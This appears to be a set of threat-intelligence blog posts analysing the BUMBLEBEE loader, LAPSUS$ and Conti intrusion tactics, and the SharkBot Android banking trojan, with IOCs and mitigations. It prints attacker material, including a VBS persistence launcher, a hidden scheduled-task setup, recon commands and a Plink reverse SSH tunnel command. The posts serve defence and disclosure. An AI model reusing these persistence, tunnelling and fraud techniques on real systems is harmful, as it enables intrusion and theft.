
Technical Analysis

Most of the identified samples are protected with what appears to be a private crypter and has only been used for BUMBLEBEE binaries so far. This crypter uses an export function with name SetPath and has not implemented any obfuscation method yet (e.g. strings encryption).

The BUMBLEBEE payload starts off by performing a series of anti-analysis checks, which are taken directly from the open source Khasar project[1]. After these checks passed, BUMBLEBEE proceeds with the command-and-control communication to receive tasks to execute.

Network Communication

BUMBLEBEE’s implemented network communication procedure is quite simple and straightforward. First, the loader picks an (command-and-control) IP address and sends a HTTPS GET request, which includes the following information in a JSON format (encrypted with RC4):

Key Description
client_id A MD5 hash of a UUID value taken by executing the WMI command ‘SELECT * FROM Win32_ComputerSystemProduct’.
group_name A hardcoded value, which represents the group that the bot (compromised host) will be added.
sys_version Windows OS version
client_version Default value that’s set to 1
user_name Username of the current user
domain_name Domain name taken by executing the WMI command ‘SELECT * FROM Win32_ComputerSystem’.
task_state Set to 0 by default. Used only when the network commands ‘ins’ or ‘sdl’ are executed.
task_id Set to 0 by default. Used only when the network commands ‘ins’ or ‘sdl’ are executed.

Once the server receives the request, it replies with the following data in a JSON format:

Key Description
response_status Boolean value, which shows if the server correctly parsed the loader’s request. Set to 1 if successful.
tasks Array containing all the tasks
task Task name
task_id ID of the received task, which is set by the operator(s).
task_data Data for the loader to execute in Base64 encoded format
file_entry_point Potentially represents an offset value. We have not observed this being used either in the binary’s code or during network communication (set to an empty string).


Based on the returned tasks from the command-and-control servers, BUMBLEBEE will execute one of the tasks described below. For two of the tasks, shi and dij, BUMBLEBEE uses a list of predefined process images paths:

  • C:\Program Files\Windows Photo Viewer\ImagingDevices.exe
  • C:\Program Files\Windows Mail\wab.exe
  • C:\Program Files\Windows Mail\wabmig.exe
Task name Description
shi Injects task’s data into a new process. The processes images paths are embedded in the binary and a random selection is made
dij Injects task’s data into a new process. The injection method defers from the method used in task ‘dij’. The processes images paths are embedded in the binary [1] and a random selection is made.
dex Writes task’s data into a file named ‘wab.exe’ under the Windows in AppData folder.
sdl Deletes loader’s binary from disk.
ins Adds persistence to the compromised host.

For the persistence mechanism, BUMBLEBEE creates a new directory in the Windows AppData folder with the directory’s name being derived by the client_id MD5 value. Next, BUMBLEBEE copies itself to its new directory and creates a new VBS file with the following content:

Set objShell = CreateObject(“Wscript.Shell”)

objShell.Run “rundll32.exe my_application_path, IternalJob”

Lastly, it creates a scheduled task that has the following metadata (this can differ from sample to sample):

  1. Task name – Randomly generated. Up to 7 characters.
  2. Author – Asus
  3. Description – Video monitor
  4. Hidden from the UI: True
  5. Path: %WINDIR%\\System32\\wscript.exe VBS_Filepath

Similarly with the directory’ name, the new loader’s binary and VBS filenames are derived from the ‘client_id’ MD5 value too.

Additional Observations

This sub-section contains notes that were collected during the analysis phase and worth to be mentioned too.

  • The first iterations of BUMBLEBEE were observed in September 2021 and were using “/get_load” as URI. Later, the samples started using “/gate“. On 19th of April, they switched to “/gates“, replacing the previous URI.
  • The “/get_load” endpoint is still active on the recent infrastructure – this is probably either for backwards compatibility or ignored by the operator(s). Besides this, most of the earlier samples using URI endpoint are uploaded from non-European countries.
  • Considering that BUMBLEBEE is actively being developed on, the operator(s) did not implement a command to update the loader’s binary, resulting the loss of existing infections.
  • It was found via server errors (during network requests and from external parties) that the backend is written in Golang.
  • As mentioned above, every BUMBLEBEE binary has an embedded group tag. Currently, we have observed the following group tags:
VS2G 1904r
VPS1 2004r
SP1 1904l
RA1104 25html
LEG0704 2504r
AL1204 2704r
  • As additional payloads, NCC Group’s RIFT has observed mostly Cobalt Strike and Meterpeter being sent as tasks. However, third parties have confirmed the drop of Sliver and Bokbot payloads.
  • While analyzing NCC Group’s RIFT had a case where the command-and-control server sent the same Meterpeter PE file in two different tasks in the same request to be executed. This is probably an attempt to ensure execution of the downloaded payload (Figure 1). There were also cases where the server initially replied with a Cobalt Strike beacon and then followed up with more than two additional payloads, both being Meterpeter. 
Figure 1 – Duplicated received tasks
  • In one case, the downloaded Cobalt Strike beacon was executed in a sandbox environment and revealed the following commands were executed by the operator(s):
    • net group “domain admins” /domain
    • ipconfig /all
    • netstat -anop tcp
    • execution of Mimikatz

Indicators of Compromise

Type Description Value
IPv4 Meterpreter command-and-control server, linked to Group ID 2004r & 25html 23.108.57[.]13
IPv4 Meterpreter command-and-control server, linked to Group ID 2004r & 2504r 130.0.236[.]214
IPv4 Cobalt Strike server, linked to Group ID 1904r 93.95.229[.]160
IPv4 Cobalt Strike server, linked to Group ID 2004r 141.98.80[.]175
IPv4 Cobalt Strike server, linked to Group ID 2504r & 2704r 185.106.123[.]74
IPv4 BUMBLEBEE command-and-control servers 103.175.16[.]45 103.175.16[.]46 104.168.236[.]99 108.62.118[.]236 108.62.118[.]56 108.62.118[.]61 108.62.118[.]62 108.62.12[.]12 116.202.251[.]3 138.201.190[.]52 142.234.157[.]93 142.91.3[.]109 142.91.3[.]11 149.255.35[.]167 154.56.0[.]214 154.56.0[.]216 168.119.62[.]39 172.241.27[.]146 172.241.29[.]169 185.156.172[.]62 192.236.198[.]63 193.29.104[.]176 199.195.254[.]17 199.80.55[.]44 209.141.59[.]96 209.151.144[.]223 213.227.154[.]158 213.232.235[.]105 23.106.160[.]120 23.106.160[.]39 23.227.198[.]217 23.254.202[.]59 23.81.246[.]187 23.82.140[.]133 23.82.141[.]184 23.82.19[.]208 23.83.133[.]1 23.83.133[.]182 23.83.133[.]216 23.83.134[.]110 23.83.134[.]136 28.11.143[.]222 37.72.174[.]9 45.11.19[.]224 45.140.146[.]244 45.140.146[.]30 45.147.229[.]177 45.147.229[.]23 45.147.231[.]107 49.12.241[.]35 71.1.188[.]122 79.110.52[.]191 85.239.53[.]25 89.222.221[.]14 89.44.9[.]135 89.44.9[.]235 91.213.8[.]23 91.90.121[.]73


[1] – https://github.com/LordNoteworthy/al-khaser

[2] – https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/

LAPSUS$: Recent techniques, tactics and procedures

Authored by: David Brown, Michael Matthews and Rob Smallridge


This post describes the techniques, tactics and procedures we observed during recent LAPSUS$ incidents.

Our findings can be summarised as below:

  • Access and scraping of corporate Microsoft SharePoint sites in order to identify any credentials which may be stored in technical documentation.
  • Access to local password managers and databases to obtain further credentials and escalate privileges.
  • Living of the land – tools such as RVTools to shut down servers and ADExplorer to perform reconnaissance.
  • Cloning of git repositories and extraction of sensitive API Keys.
  • Using compromised credentials to access corporate VPNs.
  • Disruption or destruction to victim infrastructure to hinder analysis and consume defensive resource.


LAPSUS$ first appeared publicly in December 2021, however, NCC Group first observed LAPSUS$ months prior during an incident response engagement. We believe the group has also operated prior to this date, though perhaps not under the “LAPSUS$” banner.

Over the last 5 months, LAPSUS$ has gained large notoriety with some successful breaches of some large enterprises including, Microsoft, Nvidia, Okta & Samsung. Little is still known about this group with motivations appearing to be for reputation, money and “for the lulz”.

Notifications or responsibility of victims by LAPSUS$ are commonly reported via their telegram channel and in one case a victim’s DNS records were reconfigured to LAPSUS$ controlled domains/websites. However, not all victims or breaches appear to actively be announced via their telegram channel, nor are some victims approached with a ransom. This distinguishes themselves from more traditional ransomware groups who have a clear modus operandi and are clearly financially focused. The result of this is that LAPSUS$ are less predictable which may be why they have seen recent success.

This serves as a reminder for defenders for defence in depth and the need to anticipate different tactics that threat actors may use.

It is also worth mentioning the brazen behaviour of this threat actor and their emboldened attempts at Social Engineering by offering payment for insiders to provide valid credentials.

This tactic is potentially in response to greater home working due to the pandemic which means there is a far larger proportion of employees with VPN access and as such a greater pool of potential employees willing to sell their credentials.

To combat this, organisations need to ensure they have extensive VPN logging capabilities, robust helpdesk ticketing as well as methods to help identify anomalies in VPN access.

It is notable that the majority of LAPSUS$ actions exploit the human element as opposed to technical deficiencies or vulnerabilities. Although potentially viewed as unsophisticated or basic these techniques have been successful, so it is vital that organisations factor in controls and mitigations to address them.

Initial access

Threat Intelligence shows that LAPSUS$ utilise multiple methods to gain Initial access.

The main source of initial access is believed to occur via stolen authentication cookies which would grant the attacker access to a specific application. These cookies are usually in the form of Single sign-on (SSO) applications which would allow the attacker to pivot into other corporate applications ultimately bypassing controls such as multi-factor authentication (MFA).

Credential access and Privilege escalation

Credential Harvesting and privileged escalation are key components of the LAPSUS$ breaches we have seen, with rapid escalation in privileges the LAPSUS$ group have been seen to elevate from a standard user account to an administrative user within a couple of days.

In the investigations conducted by NCC Group, little to no malware is used. In one case NCC Group observed LAPSUS$ using nothing more than the legitimate Sysinternals tool ADExplorer, which was used to conduct reconnaissance on the victim’s environment.

Access to corporate VPNs is a primary focus for this group as it allows the threat actor to directly access key infrastructure which they require to complete their objectives.

In our incident response cases, we saw the threat actor leveraging compromised employee email accounts to email helpdesk systems requesting access credentials or support to get access to the corporate VPN.

Lateral Movement

In one incident LAPSUS$ were observed to sporadically move through the victim environment via RDP in an attempt to access resources deeper in the victim environment. In some instances, victim controlled hostnames were revealed including the host “VULTR-GUEST” which refers to infrastructure hosted on the private cloud service, Vultr[3].


LAPSUS$’s action on objectives appears to focus on data exfiltration of sensitive information as well as destruction or disruption. In one particular incident the threat actor is observed to utilise the free file drop service “filetransfer[.]io”.


NCC Group has observed disruption and destruction to client environments by LAPSUS$ such as shutting down virtual machines from within on-premises VMware ESXi infrastructure, to the extreme of mass deletion of virtual machines, storage, and configurations in cloud environments making it harder for the victim to recover and for the investigation team to conduct their analysis activities.

The theft of data reported appears to heavily be focused on application source code or proprietary technical information. With a targeting of internal source code management or repository servers. These git repositories can contain not only commercially sensitive intellectual property, but also in some cases may include additional API keys to sensitive applications including administrative or cloud applications.


  • Ensure that Cloud computing environments have sufficient logging enabled.
  • Ensure that cloud administrative access is configured to prevent unauthorised access to resources and that API keys are not overly permissive to the permissions they require.
  • Utilise MFA for user authentication on both cloud and remote access solutions to help reduce the risk of unauthorised access.
  • Ensure logging is in place to record MFA device enrolment
  • Security controls such as Conditional Access can help restrict or prevent unauthorised access based on criteria such as geographical location.
  • Implement activities to detect and investigate anomalies in VPN access.
  • Ensure a system is in place to record all helpdesk queries.
  • Avoid using SMS as an MFA vector to avoid the risk of SIM swapping.
  • Securing source code environments to ensure that users can only access the relevant repositories.
  • Secret Scanning[1][2] on source code repositories should be conducted to ensure that sensitive API credentials are not stored in source code. GitHub and Gitlab offer detection mechanisms for this
  • Remote Desktop services or Gateways used as a primary or secondary remote access solution should be removed from any corporate environment in favour for alternative solutions such as secured VPNs, or other Remote Desktop applications which mitigate common attack techniques such as brute force or exploitation and can offer additional security controls such as MFA and Conditional Access.
  • Centralise logging including cloud applications (SIEM solution).
  • Offline or immutable backups of servers should be taken to ensure that in the event of a data disruption or destruction attack, services can be restored.
  • Reduce MFA token/Session cookie validity times
  • Ensure principle of least privilege for user accounts is being adhered to.
  • Social engineering awareness training for all staff.

Indicators of Compromise

Indicator Value Indicator Type Description
104.238.222[.]158 IP address Malicious Lapsus Network Address
108.61.173[.]214 IP address Malicious Lapsus Network Address
185.169.255[.]74 IP address Malicious Lapsus Network Address
VULTR-GUEST Hostname Threat Actor Controlled Host
hxxps://filetransfer[.]io Domain Free File Drop Service Utilised by the Threat Actor


Technique Code Technique
T1482 Discovery – Domain Trust Discovery
T1018 Discovery – Remote System Discovery
T1069.002 Discovery – Groups Discovery: Domain Groups
T1016.001 Discovery – System Network Configuration Discovery
T1078.002 Privilege Escalation – Domain Accounts
T1555.005 Credential Access – Credentials from Password Stores: Password Managers
T1021.001 Lateral Movement – Remote Services: Remote Desktop Protocol
T1534 Lateral Movement – Internal Spearphishing
T1072 Execution – Software Deployment Tools
T1213.002 Collection – Data from Information Repositories: Sharepoint
T1039 Collection – Data from Network Shared Drive
T1213.003 Collection – Data from Information Repositories: Code Repositories
T1567 Exfiltration – Exfiltration Over Web Service
T1485 Impact – Data Destruction
T1529 Impact – System Shutdown/Reboot


  1. https://docs.github.com/en/code-security/secret-scanning/about-secret-scanning
  2. https://docs.gitlab.com/ee/user/application_security/secret_detection
  3. https://www.vultr.com/

Conti-nuation: methods and techniques observed in operations post the leaks

Authored by: Nikolaos Pantazopoulos, Alex Jessop and Simon Biggs

Executive Summary

In February 2022, a Twitter account which uses the handle ‘ContiLeaks’, started to publicly release information for the operations of the cybercrime group behind the Conti ransomware. The leaked data included private conversations between members along with source code of various panels and tools (e.g. Team9 backdoor panel [1]). Furthermore, even though the leaks appeared to have a focus on the people behind the Conti operations, the leaked data confirmed (at least to the public domain) that the Conti operators are part of the group, which operates under the ‘TheTrick’ ecosystem. For the past few months, there was a common misconception that Conti was a different entity.

Despite the public disclosure of their arsenal, it appears that Conti operators continue their business as usual by proceeding to compromise networks, exfiltrating data and finally deploying their ransomware. This post describes the methods and techniques we observed during recent incidents that took place after the Conti data leaks.

Our findings can be summarised as below:

  • Multiple different initial access vectors have been observed.
  • The operator(s) use service accounts of the victim’s Antivirus product in order to laterally move through the estate and deploy the ransomware.
  • After getting access, the operator(s) attempted to remove the installed Antivirus product through the execution of batch scripts.
  • To achieve persistence in the compromised hosts, multiple techniques were observed;
    • Service created for the execution of Cobalt Strike.
    • Multiple legitimate remote access software, ‘AnyDesk’, ‘Splashtop’ and ‘Atera’, were deployed. (Note: This has been reported in the past too by different vendors)
      • Local admin account ‘Crackenn’ created. (Note: This has been previously reported by Truesec as a Conti behaviour [2])
  • Before starting the ransomware activity, the operators exfiltrated data from the network with the legitimate software ‘Rclone’ [3].

It should be noted that the threat actor(s) might use different tools or techniques in some stages of the compromise.

Initial Access

Multiple initial access vectors have been observed recently; phishing emails and the exploitation of Microsoft Exchange servers. The phishing email delivered to an employer proceeded to deploy Qakbot to the users Citrix session. The targeting of Microsoft Exchange saw ProxyShell and ProxyLogon vulnerabilities exploited. When this vector was observed, the compromise of the Exchange servers often took place two – three months prior to the post exploitation phase. This behaviour suggests that the team responsible for gaining initial access compromised a large number of estates in a small timeframe. 

With a number of engagements, it was not possible to ascertain the initial access due to dwell time and evidence retention. However, other initial access vectors utilised by the Conti operator(s) are:

  • Credential brute-force
  • Use of publicly available exploits. We have observed the following exploits being used:
    • Fortigate VPN
      • CVE-2018-13379
      • CVE-2018-13374
    • Log4Shell
      • CVE-2021-44228
  • Phishing e-mail sent by a legitimate compromised account.

Lateral Movement

In one incident, after gaining access to the first compromised host, we observed the threat actor carrying out the following actions:

  • Download AnyDesk from hxxps://37.221.113[.]100/anydesk.exe
  • Deployment of the following batch files:
    • 1.bat, 2.bat, 111.bat
      • Ransomware propagation
    • Removesophos.bat, uninstallSophos.bat
      • Uninstalls Sophos Antivirus solution
    • Aspx.bat
      • Contains a command-line, which executes the dropped executable file ‘ekern.exe’.
      • ‘ekern.exe’ is a command line connection tool known as Plink [4]
      • This file establishes a reverse SSH tunnel that allows direct RDP connection to the compromised host.
      • ekern.exe -ssh -P 53 -l redacted-pw redacted -R REDACTED_IP:59000:

After executing the above files, we observed the following utilities being used for reconnaissance and movement:

  • RDP
  • ADFind
  • Bloodhound to identify the network topology.
  • netscan.exe for network shares discovery.
  • Cobalt Strike deployed allowing the threat actor to laterally move throughout the network.

The common techniques across the multiple Conti engagements are the use of RDP and Cobalt Strike.


The threat actor leveraged Windows services to add persistence for the Cobalt Strike beacon. The primary persistence method was a Windows service, an example can be observed below:

A service was installed in the system.

Service Name: REDACTED

Service File Name: cmd.exe /c C:\ProgramData\1.msi

Service Type: user mode service

Service Start Type: demand start

Service Account: LocalSystem

In addition, services were also installed to provide persistence for the Remote Access Tools deployed by the threat actor:

  • AnyDesk
  • Splashtop
  • Atera

Another Conti engagement saw no methods of persistence. However, a temporary service was created to execute Cobalt Strike. It is hypothesized that the threat actor planned to achieve their objective quickly and therefore used services for execution rather than persistence.

In a separate engagement, where the initial access vector was phishing and lead to the deployment of Qakbot, the threat actor proceeded to create a local admin account named ‘Crackenn’ for persistence on the host. 

Privilege Escalation

Conti operator(s) managed to escalate their privileges by compromising and using different accounts that were found in the compromised host. The credentials compromised in multiple engagements was achieved by deploying tools such as Mimikatz.

One operator was also observed exploiting ZeroLogon to obtain credentials and move laterally.

Exfiltration and Encryption

Similar to many other threat actors, Conti operator(s) exfiltrate a large amount of data from the compromised network using the legitimate software ‘Rclone’. ‘Rclone’ was configured to upload to either Mega cloud storage provider or to a threat actor controlled server. Soon after the data exfiltration, the threat actor(s) started the data encryption. In addition, we estimate that the average time between the lateral movement and encryption is five days.

As discussed earlier on, the average dwell time of a Conti compromise is heavily dependant on the initial access method. Those incidents that have involved ProxyShell and ProxyLogon, the time between initial access and lateral movement has been three – six months. However once lateral movement is conducted, time to completing their objective is a matter of days. 


  • Monitor firewalls for traffic categorised as filesharing
  • Monitor firewalls for anomalous spikes in data leaving the network
  • Patch externally facing services immediately
  • Monitor installed software for remote access tools
  • Restrict RDP and SMB access between hosts
  • Implement a Robust Password Policy [5]
  • Provide regular security awareness training

Indicators of Compromise

Indicator Value Indicator Type Description
37.221.113[.]100/anydesk.exe IP Address Hosts AnyDesk
103.253.208[.]79 IP Address Cobalt Strike command-and-control server
C:\ProgramData\1.msi Filename Cobalt Strike payload
C:\ProgramData\1.dll Filename Cobalt Strike payload
223.29.205[.]54 IP Address AnyDesk IP address of the operator.
C:\Windows\sv.exe Filename Rclone
C:\Windows\svchost.conf Filename Rclone config
E03AF25994222D4DC6EFD98AE65217A03A5B40EEDCFFAC45F098E2A6F68F3F41 SHA256 Sv.exe – Rclone
C:\Users\Public\Report_18.xls Filename Cobalt Strike payload
C:\Users\Public\x86_16.dll Filename Cobalt Strike payload
Crackenn Account Local admin account created on patient zero
C:\Users\<user>\AppData\Roaming\Microsoft\Abevi\<random characters>.dll Filename Qakbot payload
C:\Users\Public\AdFind.exe Filename ADFind
23.82.140[.]234 IP Address Cobalt Strike command-and-control server
23.81.246[.]179 IP Address Cobalt Strike command-and-control server
hijelurusa[.]com Domain Cobalt Strike command-and-control server


  1. https://www.bleepingcomputer.com/news/security/conti-ransomware-source-code-leaked-by-ukrainian-researcher/
  2. https://www.truesec.com/hub/blog/proxyshell-qbot-and-conti-ransomware-combined-in-a-series-of-cyber-attacks
  3. https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/
  4. https://the.earth.li/~sgtatham/putty/0.58/htmldoc/Chapter7.html
  5. https://www.ncsc.gov.uk/collection/passwords/updating-your-approach

SharkBot: a “new” generation Android banking Trojan being distributed on Google Play Store


  • Alberto Segura, Malware analyst
  • Rolf Govers, Malware analyst & Forensic IT Expert

NCC Group, as well as many other researchers noticed a rise in Android malware last year, especially Android banking malware. Within the Threat Intelligence team of NCC Group we’re looking closely to several of these malware families to provide valuable information to our customers about these threats. Next to the more popular Android banking malware NCC Group’s Threat Intelligence team also watches new trends and new families that arise and could be potential threats to our customers.

One of these ‘newer’ families is an Android banking malware called SharkBot. During our research we noticed that this malware was distributed via the official Google play store. After discovery we immediately notified Google and decided to share our knowledge via this blog post.

NCC Group’s Threat Intelligence team continues analysis of SharkBot and uncovering new findings. Shortly after we published this blogpost, we found several more SharkBot droppers in the Google Play Store. All appear to behave identically; in fact, the code seems to be a literal a ‘copy-paste’ in all of them. Also the same corresponding C2 server is used in all the other droppers. After discovery we immediately reported this to Google. See the IoCs section below for the Google Play Store URLs of the newly discovered SharkBot dropper apps.


SharkBot is an Android banking malware found at the end of October 2021 by the Cleafy Threat Intelligence Team. At the moment of writing the SharkBot malware doesn’t seem to have any relations with other Android banking malware like Flubot, Cerberus/Alien, Anatsa/Teabot, Oscorp, etc.

The Cleafy blogpost stated that the main goal of SharkBot is to initiate money transfers (from compromised devices) via Automatic Transfer Systems (ATS). As far as we observed, this technique is an advanced attack technique which isn’t used regularly within Android malware. It enables adversaries to auto-fill fields in legitimate mobile banking apps and initate money transfers, where other Android banking malware, like Anatsa/Teabot or Oscorp, require a live operator to insert and authorize money transfers. This technique also allows adversaries to scale up their operations with minimum effort.

The ATS features allow the malware to receive a list of events to be simulated, and them will be simulated in order to do the money transfers. Since this features can be used to simulate touches/clicks and button presses, it can be used to not only automatically transfer money but also install other malicious applications or components. This is the case of the SharkBot version that we found in the Google Play Store, which seems to be a reduced version of SharkBot with the minimum required features, such as ATS, to install a full version of the malware some time after the initial install.

Because of the fact of being distributed via the Google Play Store as a fake Antivirus, we found that they have to include the usage of infected devices in order to spread the malicious app. SharkBot achieves this by abusing the ‘Direct Reply‘ Android feature. This feature is used to automatically send reply notification with a message to download the fake Antivirus app. This spread strategy abusing the Direct Reply feature has been seen recently in another banking malware called Flubot, discovered by ThreatFabric.

What is interesting and different from the other families is that SharkBot likely uses ATS to also bypass multi-factor authentication mechanisms, including behavioral detection like bio-metrics, while at the same time it also includes more classic features to steal user’s credentials.

Money and Credential Stealing features

SharkBot implements the four main strategies to steal banking credentials in Android:

  • Injections (overlay attack): SharkBot can steal credentials by showing a WebView with a fake log in website (phishing) as soon as it detects the official banking app has been opened.
  • Keylogging: Sharkbot can steal credentials by logging accessibility events (related to text fields changes and buttons clicked) and sending these logs to the command and control server (C2).
  • SMS intercept: Sharkbot has the ability to intercept/hide SMS messages.
  • Remote control/ATS: Sharkbot has the ability to obtain full remote control of an Android device (via Accessibility Services).

For most of these features, SharkBot needs the victim to enable the Accessibility Permissions & Services. These permissions allows Android banking malware to intercept all the accessibility events produced by the interaction of the user with the User Interface, including button presses, touches, TextField changes (useful for the keylogging features), etc. The intercepted accessibility events also allow to detect the foreground application, so banking malware also use these permissions to detect when a targeted app is open, in order to show the web injections to steal user’s credentials.


Sharkbot is distributed via the Google Play Store, but also using something relatively new in the Android malware: ‘Direct reply‘ feature for notifications. With this feature, the C2 can provide as message to the malware which will be used to automatically reply the incoming notifications received in the infected device. This has been recently introduced by Flubot to distribute the malware using the infected devices, but it seems SharkBot threat actors have also included this feature in recent versions.

In the following image we can see the code of SharkBot used to intercept new notifications and automatically reply them with the received message from the C2.

In the following picture we can see the ‘autoReply’ command received by our infected test device, which contains a shortten Bit.ly link which redirects to the Google Play Store sample.

We detected the SharkBot reduced version published in the Google Play on 28th February, but the last update was on 10th February, so the app has been published for some time now. This reduced version uses a very similar protocol to communicate with the C2 (RC4 to encrypt the payload and Public RSA key used to encrypt the RC4 key, so the C2 server can decrypt the request and encrypt the response using the same key). This SharkBot version, which we can call SharkBotDropper is mainly used to download a fully featured SharkBot from the C2 server, which will be installed by using the Automatic Transfer System (ATS) (simulating click and touches with the Accessibility permissions).

This malicious dropper is published in the Google Play Store as a fake Antivirus, which really has two main goals (and commands to receive from C2):

  • Spread the malware using ‘Auto reply’ feature: It can receive an ‘autoReply’ command with the message that should be used to automatically reply any notification received in the infected device. During our research, it has been spreading the same Google Play dropper via a shorten Bit.ly URL.
  • Dropper+ATS: The ATS features are used to install the downloaded SharkBot sample obtained from the C2. In the following image we can see the decrypted response received from the C2, in which the dropper receives the command ‘b‘ to download the full SharkBot sample from the provided URL and the ATS events to simulate in order to get the malware installed.

With this command, the app installed from the Google Play Store is able to install and enable Accessibility Permissions for the fully featured SharkBot sample it downloaded. It will be used to finally perform the ATS fraud to steal money and credentials from the victims.

The fake Antivirus app, the SharkBotDropper, published in the Google Play Store has more than 1,000 downloads, and some fake comments like ‘It works good’, but also other comments from victims that realized that this app does some weird things.

Technical analysis

Protocol & C2

The protocol used to communicate with the C2 servers is an HTTP based protocol. The HTTP requests are made in plain, since it doesn’t use HTTPs. Even so, the actual payload with the information sent and received is encrypted using RC4. The RC4 key used to encrypt the information is randomly generated for each request, and encrypted using the RSA Public Key hardcoded in each sample. That way, the C2 can decrypt the encrypted key (rkey field in the HTTP POST request) and finally decrypt the sent payload (rdata field in the HTTP POST request).

If we take a look at the decrypted payload, we can see how SharkBot is simply using JSON to send different information about the infected device and receive the commands to be executed from the C2. In the following image we can see the decrypted RC4 payload which has been sent from an infected device.

Two important fields sent in the requests are:

  • ownerID
  • botnetID

Those parameters are hardcoded and have the same value in the analyzed samples. We think those values can be used in the future to identify different buyers of this malware, which based on our investigation is not being sold in underground forums yet.

Domain Generation Algorithm

SharkBot includes one or two domains/URLs which should be registered and working, but in case the hardcoded C2 servers were taken down, it also includes a Domain Generation Algorithm (DGA) to be able to communicate with a new C2 server in the future.

The DGA uses the current date and a specific suffix string (‘pojBI9LHGFdfgegjjsJ99hvVGHVOjhksdf’) to finally encode that in base64 and get the first 19 characters. Then, it append different TLDs to generate the final candidate domain.

The date elements used are:

  • Week of the year (v1.get(3) in the code)
  • Year (v1.get(1) in the code)

It uses the ‘+’ operator, but since the week of the year and the year are Integers, they are added instead of appended, so for example: for the second week of 2022, the generated string to be base64 encoded is: 2 + 2022 + “pojBI9LHGFdfgegjjsJ99hvVGHVOjhksdf” = 2024 + “pojBI9LHGFdfgegjjsJ99hvVGHVOjhksdf” = “2024pojBI9LHGFdfgegjjsJ99hvVGHVOjhksdf”.

In previous versions of SharkBot (from November-December of 2021), it only used the current week of the year to generate the domain. Including the year to the generation algorithm seems to be an update for a better support of the new year 2022.


SharkBot can receive different commands from the C2 server in order to execute different actions in the infected device such as sending text messages, download files, show injections, etc. The list of commands it can receive and execute is as follows:

  • smsSend: used to send a text message to the specified phone number by the TAs
  • updateLib: used to request the malware downloads a new JAR file from the specified URL, which should contain an updated version of the malware
  • updateSQL: used to send the SQL query to be executed in the SQLite database which Sharkbot uses to save the configuration of the malware (injections, etc.)
  • stopAll: used to reset/stop the ATS feature, stopping the in progress automation.
  • updateConfig: used to send an updated config to the malware.
  • uninstallApp: used to uninstall the specified app from the infected device
  • changeSmsAdmin: used to change the SMS manager app
  • getDoze: used to check if the permissions to ignore battery optimization are enabled, and show the Android settings to disable them if they aren’t
  • sendInject: used to show an overlay to steal user’s credentials
  • getNotify: used to show the Notification Listener settings if they are not enabled for the malware. With this permissions enabled, Sharkbot will be able to intercept notifications and send them to the C2
  • APP_STOP_VIEW: used to close the specified app, so every time the user tries to open that app, the Accessibility Service with close it
  • downloadFile: used to download one file from the specified URL
  • updateTimeKnock: used to update the last request timestamp for the bot
  • localATS: used to enable ATS attacks. It includes a JSON array with the different events/actions it should simulate to perform ATS (button clicks, etc.)

Automatic Transfer System

One of the distinctive parts of SharkBot is that it uses a technique known as Automatic Transfer System (ATS). ATS is a relatively new technique used by banking malware for Android.

To summarize ATS can be compared with webinject, only serving a different purpose. Rather then gathering credentials for use/scale it uses the credentials for automatically initiating wire transfers on the endpoint itself (so without needing to log in and bypassing 2FA or other anti-fraud measures). However, it is very individually tailored and request quite some maintenance for each bank, amount, money mules etc. This is probably one of the reasons ATS isn’t that popular amongst (Android) banking malware.

How does it work?

Once a target logs into their banking app the malware would receive an array of events (clicks/touches, button presses, gestures, etc.) to be simulated in an specific order. Those events are used to simulate the interaction of the victim with the banking app to make money transfers, as if the user were doing the money transfer by himself.

This way, the money transfer is made from the device of the victim by simulating different events, which make much more difficult to detect the fraud by fraud detection systems.


Sample Hashes:

  • a56dacc093823dc1d266d68ddfba04b2265e613dcc4b69f350873b485b9e1f1c (Google Play SharkBotDropper)
  • 9701bef2231ecd20d52f8fd2defa4374bffc35a721e4be4519bda8f5f353e27a (Dropped SharkBot v1.64.1)
  • 20e8688726e843e9119b33be88ef642cb646f1163dce4109b8b8a2c792b5f9fc (Google play SharkBot dropper)
  • 187b9f5de09d82d2afbad9e139600617685095c26c4304aaf67a440338e0a9b6 (Google play SharkBot dropper)
  • e5b96e80935ca83bbe895f6239eabca1337dc575a066bb6ae2b56faacd29dd (Google play SharkBot dropper)

SharkBotDropper C2:

  • hxxp://statscodicefiscale[.]xyz/stats/

‘Auto/Direct Reply’ URL used to distribute the malware:

  • hxxps://bit[.]ly/34ArUxI

Google Play Store URL:

C2 servers/Domains for SharkBot:

  • n3bvakjjouxir0zkzmd[.]xyz (
  • mjayoxbvakjjouxir0z[.]xyz (

RSA Public Key used to encrypt RC4 key in SharkBot:


RSA Public Key used to encrypt RC4 Key in the Google Play SharkBotDropper:

  • There are no more articles